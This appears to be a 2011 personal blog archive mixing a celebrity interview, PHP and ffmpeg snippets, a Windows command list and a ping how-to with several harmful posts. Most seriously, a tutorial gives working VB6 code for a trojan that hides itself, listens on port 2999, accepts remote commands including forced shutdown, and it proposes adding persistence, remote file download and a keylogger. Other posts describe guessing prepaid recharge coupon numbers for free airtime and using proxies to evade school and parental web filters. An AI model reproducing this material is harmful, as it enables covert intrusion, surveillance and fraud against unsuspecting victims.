Wednesday, August 17, 2011

We couldn't afford rent: Hrithik Roshan



This is why i respect him...

just read it..



To understand why the star with the Greek God physique doesn't hit back, and lets people call him a pushover, read on

You've spent more time meeting people face-to-face in the promos of " ZNMD" and for your dance show than you've probably done ever in your life.
Yes, I had never hit the road earlier for promoting a movie this way, I haven't quite mastered or understood this part. I hope to learn from this experience; I am, after all, still ten years junior to the stars they put my name with. I need to gather a lot more of that before I can be mentioned in the same breath as Aamir, Shah Rukh, Salman. I am on my learning curve right now.

I remember that for my first film, "Kaho Naa... Pyar Hai", the amount of days I spent in publicity was exactly zero. I did not come in front of the camera even once. People had no reference point, they didn't know anything about me. And I've often thought that if just the promos could do as much for my very first movie, do I really need to do this much today? But the times have changed. And the only way to keep up with the times is to not dismiss these questions, but to experience things yourself, see what it is about, and then come to a conclusion.

No cynicism, no regrets after these many years in a competitive industry?
No. I think it's a very foolish thing to look back at your life and have regrets for anything that you do. You should tell yourself that at that time, for that place, I did the best with what my instincts provided me. Now you're wiser. As long as you can attach a reason to your failure, you'll learn, you'll grow wiser. But if you just sit and keep saying, 'arre yaar what did I do,' it's pointless. You have to ask yourself, what is the one thing I can learn from this experience which is a 'failure' in other people's minds? If you can do that, it no longer is a failure. It turns into feedback, and you will grow with it. So eventually, there are no failures.

Films that don't work - like "Kites" and "Guzaarish" - haven't knocked you off some superstar pedestal? Is it because you don't live in the superstar mindspace?
I don't know where that comes from. I get very, very awkward when people refer to me as a superstar - except when I am being introduced on stage where I am supposed to perform as a superstar. That I'm comfortable with, because I have the jacket and the mask of a star on. But if you introduce me, without all that, as a superstar, it unnerves me, it makes me a little uncomfortable.

You don't feel like a superstar? There are people who get your face tattooed on their bodies. Then there are people who come online and tell you to learn to act, in colourful language. How do you, non-superstar, manage these extremes, abuse and affection both?
I need to look at both of these through compassion. If a person has got my face tattooed on his back, I think that is a bit extreme. But there are situations where people may need to look up to an idea, an ideal, or a person to provide them direction in life. And if I can provide that, it's a compliment to me. But if I take it as a sign of my greatness, then I have got it all wrong. I am not a greater guy after the tattoo.

In reverse, when someone says anything bad about you, the way I look at it is - there is no truth, there is only a point of view. It depends on where you are standing. If a person tells me, 'Hey, I don't think you're a great actor, you're an idiot, you over-act,' or whatever, that's his point of view. In such a situation, I feel it's my responsibility to demonstrate that you should never counter an attack with more attack.


That's the essential path to peace. I want to feel good about myself, and so, what I do is, I type back - 'Well, I try, and now I will try harder; thank you for your feedback.' And I feel good about myself. And he relaxes, nothing has hit his ego, and so he's not going to attack any more. I have brought about peace in this war - even if it is the micro level.

This approach is why we've never heard of Hrithik, the hunk, ever getting into a fight?
I think you have to be the most foolish person, and the weakest person, to get into a fight. The only time you have to raise your hand is if there is injustice being done in the present, right there, where I am. If a lady has been wronged, then I will raise my hand. There is no other situation where you need to raise your hand.

You haven't had an ego-damage moment?
No, on the contrary, it's only through damaging the ego completely, and nullifying it, and then realizing that you're still alive, it doesn't mean anything, is when you realize it's not important. I have gone through a battery since I was five or six years old. I used to come home from school and weep through the evening, weep through the homework, because I didn't want to go to school the next day. I didn't want to go through the torment of being the guy who is laughed at all the time. I had nothing working for me. Even the fact that I was a hero's son worked against me, because of the sort of school that I was in. It was looked upon as something a little cheap.
Now, when I join the dots, I see that I had to go through all that to be what I am, to reach where I am today. The hammer that moulds the stone hurts, but it shapes you into something beautiful.

Does your wife subscribe to this no-ego ideology?
Yeah... Now she does (laughs). It's taken a lot of time. Now we are in a state where I think she understands, even looks to me for advice if she is in a situation where she feels like attacking back. I'm the one who calms her down.

But surely she must have at times said to you, 'Why don't you respond to this, why are you not hitting back?' That's the expected male response, isn't it?
Yes, there was a point of time when she felt that way. In fact, there was a particular situation in London. It was just after we'd got married, and we were walking down Leicester Square, and there were some badly behaved boys who were obviously high on something. One of them passed by her and gave her a nudge and then abused her, called her, umm, a b**ch. And instantly, she wanted to attack back, and she was physically inferior, so that infuriated her even more. She wanted me to strike back. But my perspective was different. I consider myself the peaceful warrior. If the guys hadn't passed by so quickly, I would probably have walked up to the boy and spoken to him, and made him feel good about himself so he wouldn't need to attack someone like this again.

People are carrying their own frustrations inside and they are looking for scapegoats to vent out, to get a chance to hit out, to release their own frustrations. He doesn't even know her, I've got nothing to do with him. He calling my wife that doesn't make her a b**ch, and that's the truth. If he'd passed me by and said, 'Hrithik Roshan, you don't have a right arm,' what would I say? People will either say the truth, or a lie. He will say, 'You have a right arm'; yes, I have a right arm, I'll keep walking. Or he will say, 'You don't have a right arm'; he's wrong, he's lying, and I'll keep walking. Same thing - he calls my wife a b**ch, I know she's not, I walk on. I don't need to go and bust his face, that would make me one of them. I'm above all that. I would feel defeated. I didn't give that guy what he wanted; he wanted to get into a fight, and I didn't give him that chance.

But, at that moment, she wouldn't have been too happy?
Yes, that is true. But now she understands that it was the right thing to do. Instinctive aggravation is what creates most of our warring, whether in the four walls of our house or at the world-level.

Machismo is a coveted trait in Bollywood. People must needle you over this pacifist approach?
Yes, I'm considered a pushover, I guess. I'm considered to be someone who's not strong enough. There was this one situation that I had to laugh at. We were at Shirdi, with my family inside the temple, trying to find our two minutes to pray. And there were these people from the media, simply refusing to heed my requests to give us some space, some peace. And I had to take them by the neck and simply push them out - and even as I did it, I kept saying, 'I'm sorry, but I just have to do this.' I pushed them out. And by the time I came back home, I had twenty thousand people telling me what a hero I was because I did that, because I stood up for my family - and I laughed at that. I didn't need to do that, it's not right, and you don't need to compliment that.

And there was another instance - my father had just shaved his head, and coincidentally, we were again at Shirdi. We were just entering the temple and this guy shouted, 'ai taklu', to my father. You'd expect a good son to turn around and bash up the guy. But what is he saying? He's stating the truth. My father is bald; he's calling my father bald. I love my father bald, he looks handsome! So why do I need to react to that? What's he saying? It's the tone that I'm reacting to; it's the tone that aggravates. Don't react to the tone. It's reflecting his frustration, he needs some more attention. He needs a look back from Hrithik Roshan, he needs that one moment of attention and glory - and I don't need to give that to him.

And the industry, yes, is filled with a lot of people who know more than me, in a lot of ways. But in this department, I find a lot of them behaving like schoolkids, fighting with each other - I said this to him, he said this to me - I feel that should be left back in school.

This sort of thinking is part of you?
I need these kind of thoughts. The most important thing in life is necessity. With me, with the kind of struggle I had to face, I needed these thoughts, to keep me afloat. I often felt I was in deep waters, where my feet didn't touch the ground, and there was just no support, I was drowning. So this is something that carried me, made me think of life in a different perspective. We all want to be happy but nobody is willing to do the things that will bring them happiness.


Among the things that bring happiness in today's world is money - and as a superstar you would have no deficit of it. Doesn't it make it easier to have a philosophical take on things?

I have a good understanding of how important money is. And now that I have children, I want to gather as much of it as I can, yes. But I know what it means. Money is a means to an end. For me, it is also a means to help people. I can never say no to anyone, and if I am in a position to help, I help. I have seen my father struggle for 20 years. I know what it is like to have no money at all. I have slept for four nights on the floor in a house with no furniture and not even a fan, and I remember crying to my mother that I couldn't sleep without a fan.

How old were you?
I must have been about nine. We were thrown out of our building because we couldn't pay the rent. And then for about six months, we lived at my nani's house. My father was too embarrassed to live there, and so he stayed with a friend. And as soon as he got some money, he got this place, and he just had to get us into our own place. So, for the first four nights, I slept on the floor with my family in a house without any furniture and without fans. Those are the memories that keep me grounded.

What sort of memories would your kids have? What do you share with them?
I think the poison of our world are the fairy tales that are taught to our children. There is not one fairy tale that speaks of how beautiful real life is, where there is no happy ending. It's just a journey filled with sadness, happiness - it's all there - and you have to live that and know that that's your fairy tale, how you're going to overcome every little obstacle and how it'll never end. The End is something that is a poison; the Prince Charming comes, he and the girl fall in love, The End. The End is something that never happens in real life. Even in death, there is no The End. How do you know if that's the end? You don't, really.

I personally have built a fairy tale for my children which I narrate at their bedtime. It is on a character called the Blue Light Kid. He is as old as my sons, who are three and five. I talk about all the things that my sons go through. My son came last in a race, and so I created a chapter on that, about how the Blue Light Kid came last in a race. He was in his room and a Blue Light appeared and spoke to him; he asked why he came last, though he worked hard, and the Blue Light told him that he didn't work hard enough. So he works really hard for the next race, and he again comes last, and gets really angry and says to the Blue Light that it's not fair because he worked really hard. And the Blue Light says, 'As I said, you didn't work hard enough.'

I have these chapters and talk to them about things like losing toys. I tell them that you will get excited about your toys and at some point you will also lose interest in many of them. I talk about these little things; hopefully it'll continue till I can compile it all and release it as a real life fairy tale about this Blue Light Kid.
After all, fairy tales are about a world of fantasy, but none of us live in such a world.

Reference -- http://timesofindia.indiatimes.com
Read more

Monday, August 15, 2011

Send image as attachment or an other file with email in php

Send image as attachment or an other file with email in php


This script is very useful if you thinking to send files as attachment to any email
in php.




// array with filenames to be sent as attachment
$files = array("file_1.ext","file_2.ext","file_3.ext",……);

// email fields: to, from, subject, and so on
$to = "mail@mail.com";
$from = "mail@mail.com";
$subject ="My subject";
$message = "My message";
$headers = "From: $from";

// boundary
$semi_rand = md5(time());
$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";

// headers for attachment
$headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\"";

// multipart boundary
$message = "This is a multi-part message in MIME format.\n\n" . "–{$mime_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" . $message . "\n\n";

// preparing attachments
for($x=0;$x$message .= "–{$mime_boundary}\n";
$file = fopen($files[$x],"rb");
$data = fread($file,filesize($files[$x]));
fclose($file);
$data = chunk_split(base64_encode($data));
$message .= "Content-Type: {\"application/octet-stream\"};\n" . " name=\"$files[$x]\"\n" .
"Content-Disposition: attachment;\n" . " filename=\"$files[$x]\"\n" .
"Content-Transfer-Encoding: base64\n\n" . $data . "\n\n";
}

// send

$ok = @mail($to, $subject, $message, $headers);
if ($ok) {
echo "mail sent to $to!”;
} else {
echo “mail could not be sent!”;
}

?>
Read more

Sunday, July 24, 2011

FFMPEG solutions--Convert with best queries

A bit of googling and reading the man pages later I discovered

-vcodec copy -acodec copy
This tells ffmpeg to copy the video and audio without re-encoding.

So insted of this

ffmpeg -i input.flv output.mp4

The Solution

ffmpeg -i input.flv -vcodec copy -acodec copy output.mp4

Further complications
javascript:void(0)
This worked a treat for all except one file - which gave the following error.

[NULL @ 0x9b6b9f0]error, non monotone timestamps 37464141 >= 37463126
av_interleaved_write_frame(): Error while opening file
By using the "-an" and "-vn" flags to skip the video and audio encoding in turn I narrowed it down to a problem in the audio codec timestream.

To try to get ffmpeg to fix the problem I got it to reencode the audio but copy the video codec with the following:

ffmpeg -i input.flv -vcodec copy -acodec mp2 -ar 44100 -ab 128k output.mp4
Worked a treat. I love ffmpeg


Final code to fix it using aac with audio quality quite high 200 (range is 0-255)

ffmpeg -i input.flv -vcodec copy -acodec libfaac -aq 200 output.mp4
Read more

Saturday, July 23, 2011

How to Access Banned Websites


Surfing at school? Parents enabled website blocking? Stuck behind a strict firewall? There are lots of ways around the problem so that you can get to the sites you want to see without those cybernannies tying your hands…
phproxy is “dedicated to bringing you fast web browsing from behind web filters”. Simply tap in the URL of that banned site you really must see, it could be Facebook, MySpace, Youtube, or a renegade blogger behind enemy lines, and you will be able to access it with no problems. More seriously, the proxy allows you to visit a site anonymously because it is the proxy itself that is visiting the banned site not you, and so keeps your browsing hidden from prying eyes allowing you to protect your online identity.

Such a proxy also allows you to visit sites that have banned your IP. This might be a forum or just a website or blog from which you or other users on your IP range (whether on your school or company network or your ISP account) have been barred access. The proxy server is an open gateway between your web destination and you.



Other proxies exist, such as www.the-cloak.com (please make sure you include the hyphen in that URL or you will be in for a shock), and this page provides a shipload more.



More on an additional approach (Psiphon) here – http://en.wikipedia.org/wiki/Psiphon



Of course, we should add a disclaimer at this point, please don’t use proxies or anonymizers to break the law or to cause malice and please don’t abuse the service as they are usually free.
Read more

FFmpeg commands for all needs --All in one pack

ffmpeg is a multiplatform, open-source library for video and audio files. I have compiled 19 useful and amazing commands covering almost all needs: video conversion, sound extraction, encoding file for iPod or PSP, and more.

Getting infos from a video file

ffmpeg -i video.avi
Turn X images to a video sequence
ffmpeg -f image2 -i image%d.jpg video.mpg
This command will transform all the images from the current directory (named image1.jpg, image2.jpg, etc…) to a video file named video.mpg.

Turn a video to X images
ffmpeg -i video.mpg image%d.jpg
This command will generate the files named image1.jpg, image2.jpg, …

The following image formats are also availables : PGM, PPM, PAM, PGMYUV, JPEG, GIF, PNG, TIFF, SGI.

Encode a video sequence for the iPpod/iPhone
ffmpeg -i source_video.avi input -acodec aac -ab 128kb -vcodec mpeg4 -b 1200kb -mbd 2 -flags +4mv+trell -aic 2 -cmp 2 -subcmp 2 -s 320x180 -title X final_video.mp4
Explanations :

Source : source_video.avi
Audio codec : aac
Audio bitrate : 128kb/s
Video codec : mpeg4
Video bitrate : 1200kb/s
Video size : 320px par 180px
Generated video : final_video.mp4
Encode video for the PSP
ffmpeg -i source_video.avi -b 300 -s 320x240 -vcodec xvid -ab 32 -ar 24000 -acodec aac final_video.mp4
Explanations :

Source : source_video.avi
Audio codec : aac
Audio bitrate : 32kb/s
Video codec : xvid
Video bitrate : 1200kb/s
Video size : 320px par 180px
Generated video : final_video.mp4
Extracting sound from a video, and save it as Mp3
ffmpeg -i source_video.avi -vn -ar 44100 -ac 2 -ab 192 -f mp3 sound.mp3
Explanations :

Source video : source_video.avi
Audio bitrate : 192kb/s
output format : mp3
Generated sound : sound.mp3
Convert a wav file to Mp3
ffmpeg -i son_origine.avi -vn -ar 44100 -ac 2 -ab 192 -f mp3 son_final.mp3
Convert .avi video to .mpg
ffmpeg -i video_origine.avi video_finale.mpg
Convert .mpg to .avi
ffmpeg -i video_origine.mpg video_finale.avi
Convert .avi to animated gif(uncompressed)
ffmpeg -i video_origine.avi gif_anime.gif
Mix a video with a sound file
ffmpeg -i son.wav -i video_origine.avi video_finale.mpg
Convert .avi to .flv
ffmpeg -i video_origine.avi -ab 56 -ar 44100 -b 200 -r 15 -s 320x240 -f flv video_finale.flv
Convert .avi to dv
ffmpeg -i video_origine.avi -s pal -r pal -aspect 4:3 -ar 48000 -ac 2 video_finale.dv
Or:

ffmpeg -i video_origine.avi -target pal-dv video_finale.dv
Convert .avi to mpeg for dvd players
ffmpeg -i source_video.avi -target pal-dvd -ps 2000000000 -aspect 16:9 finale_video.mpeg
Explanations :

target pal-dvd : Output format
ps 2000000000 maximum size for the output file, in bits (here, 2 Gb)
aspect 16:9 : Widescreen
Compress .avi to divx
ffmpeg -i video_origine.avi -s 320x240 -vcodec msmpeg4v2 video_finale.avi
Compress Ogg Theora to Mpeg dvd
ffmpeg -i film_sortie_cinelerra.ogm -s 720x576 -vcodec mpeg2video -acodec mp3 film_terminée.mpg
Compress .avi to SVCD mpeg2
NTSC format:

ffmpeg -i video_origine.avi -target ntsc-svcd video_finale.mpg
PAL format:

ffmpeg -i video_origine.avi -target pal-svcd video_finale.mpg
Compress .avi to VCD mpeg2
NTSC format:

ffmpeg -i video_origine.avi -target ntsc-vcd video_finale.mpg
PAL format:

ffmpeg -i video_origine.avi -target pal-vcd video_finale.mpg
Multi-pass encoding with ffmpeg
ffmpeg -i fichierentree -pass 2 -passlogfile ffmpeg2pass fichiersortie-2
Find a webhost with ffmpeg enabled
Read more

Sunday, June 12, 2011

Hack recharge cards for free mobile recharge to any network



Recharge cards are most often used in local sim cards,now you can hack this cards for free recharge.this trick can be probably used in all networks. how it works? this trick can beused in followingway.
The Trick: Buy two 10rs cards of any networks and scratch the card to see the number.some times you may get different number and some times you may find only the last three or four digits of the both the card may be different and the remaining numbers will be same,it means that both the recharge coupons are from same serial number,so this helps you to hack free recharge. first recharge with the number what you have and then see the last three orfour digits of the coupons andif you find only that four digits are different and just generate some other numbers of your own which should be nearly next to the number which have recharged if you have correctly generate the next number from the coupon code you have then you use free recharge. supported recharge coupons: airte,aircel,bsnl,vodaphone,docomo,idea,uninor etc……

This is the latest trick...works almost every time. ...so enjoy free tokin :)
Read more

Friday, June 03, 2011

A to Z commands in Windows XP

ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
~ ASSOC Change file extension associations
ASSOCIAT One step file association
AT Schedule a command to run at a later time
ATTRIB Change file attributes

BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info

CACLS Change file permissions
~ CALL Call one batch program from another
~ CD Change Directory - move to a specific Folder
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
~ CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
~ COLOR Change colors of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
~ COPY Copy one or more files to another location
CSCcmd Client-side caching (Offline Files)
CSVDE Import or Export Active Directory data

~ DATE Display or set the date
Dcomcnfg DCOM Configuration Utility
DEFRAG Defragment hard drive
~ DEL Delete one or more files
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
~ DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DISKPART Disk Administration
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create
macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory

~ ECHO Display message on screen
~ ENDLOCAL End localisation of environment changes in a batch file
~ ERASE Delete one or more files
~ EXIT Quit the current script/routine and set an errorlevel.
EXPAND Uncompress files
EXTRACT Uncompress CAB files

FC Compare two files
FIND Search for a text string in a file
FINDSTR Search for strings in files
~ FOR /F Loop command: against a set of files
~ FOR /F Loop command: against the results of another command
~ FOR Loop command: all options Files, Directory, List
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
~ FTYPE Display or modify file types used in file extension associations

GLOBAL Display membership of global groups
~ GOTO Direct a batch program to jump to a labelled line

HELP Online Help

~ IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP

KILL Remove a program from memory

LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file

MAPISEND Send email from the command line
MBSAcli Baseline Security Analyzer.
MEM Display memory usage
~ MD Create new folders
MKLINK Create a symbolic link (linkd)
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
~ MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files

NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights

~ PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
~ PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
~ POPD Restore the previous value of the current directory saved by PUSHD
PORTQRY Display the status of ports and services
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
~ PROMPT Change the command prompt
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
~ PUSHD Save and then change the current directory

QGREP Search file(s) for lines that match a given pattern.

RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Registry: Read, Set, Export, Delete keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
~ REM Record comments (remarks) in a batch file
~ REN Rename a file or files.
REPLACE Replace or update one file with another
~ RD Delete folder(s)
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)

SC Service Control
SCHTASKS Create or Edit Scheduled Tasks
SCLIST Display NT Services
~ SET Display, set, or remove environment variables
~ SETLOCAL Control the visibility of environment variables
SETX Set environment variables permanently
SHARE List or edit a file share or print share
~ SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SOON Schedule a command to run in the near future
SORT Sort input
~ START Start a program or command in a separate window.
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration

TASKLIST List running applications and services
TASKKILL Remove a running process from memory
~ TIME Display or set the system time
TIMEOUT Delay processing of a batch file
~ TITLE Set the window title for a CMD.EXE session
TLIST Task list with full path
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
~ TYPE Display the contents of a text file

USRSTAT List domain usernames and last login

~ VER Display version information
~ VERIFY Verify that files have been saved
~ VOL Display a disk label

WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands

XCACLS Change file permissions
XCOPY Copy files and folders
Read more

How to write a simple trojan in vb6 | Creating a Virus

Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code.
The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go
through what you need for both and some sample code.

Server

The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it.
To do this you start by using

Private Sub Form_Load()
Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier.
So to get our application hidden from that a little better we make our code look like this.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

(Due to Bill gates, all running exe's will be displayed in the list of running processes. Your app will be hidden in the Running Applications List though )

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this
tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control.
I named my control win but you can name yours what ever.
Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat.

Then we add this code to our main form:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. (Public so it can be used by code outside of the Module) So add this code to the module and we are about done with the server
of the Trojan!

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Ok now we have a program that when the data “Msgbox” is sent to it on port 2999 it will display a msgbox on the victims computer. When the data "shutdown" is sent to it on port 2999 it will shutdown the computer. I used a Select Case statement so it is easy to modify this code to your own needs later on.

Congradulations! You just made your first Trojan. Lets go over the complete code now.

Main Form

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

Module

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server
that accepts the command of “shutdown” and "msgbox" lets make a client that sends the command “shutdown” and "msgbox".

Make a form and add a Winsock Control, a text box, and 4 buttons. The Text box should be named txtIP if you want it to work with this code.
In addition, your buttons should be named cmdConnect, cmdMsgbox, cmdShutdown, and cmdDisconnect. Now lets look at the code we would use to make our
Client.

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send
the “shutdown” or "msgbox" data to the server and the respective actions will be carried out (shutdown computer or display a msgbox)

These two programs do very little but can quickly evolve into a powerful remote administration tool if you know what you are doing. I suggest trying
to add different types of error handling and functions to both the server and client.

Ideas:

Make the server able to download a file specified by the attacker

Add code to make the Server be executed at startup. (Its a registry key)

Add a keylogger to the server - make it send the log to the attacker. There are loads more things you could do, just use your imagination
Read more

How to find the “real” IP address of a web site?

You can use the PING utility included with Windows to determine the “real” IP address of a web site. Before using this utility, make sure you are not mapping a host name to some IP address with HostName Commander, because if you do, the PING utility will show the address you’ve set up with HostName Commander, instead of the “real” IP address.

To run the PING utility, click on the Windows Start button, and choose Run from the Start Menu. If you use Windows 95,98, or Me, enter “command” (without the quotes) as the command line to run. If you use Windows XP,2000, or NT, enter “cmd” (again, without the quotes). Click OK and the command prompt window should appear on the screen.



Now enter the word “ping” (without the quotes) followed by a space, followed by the host name you want to determine the IP address of, and press Enter:
And done....
Read more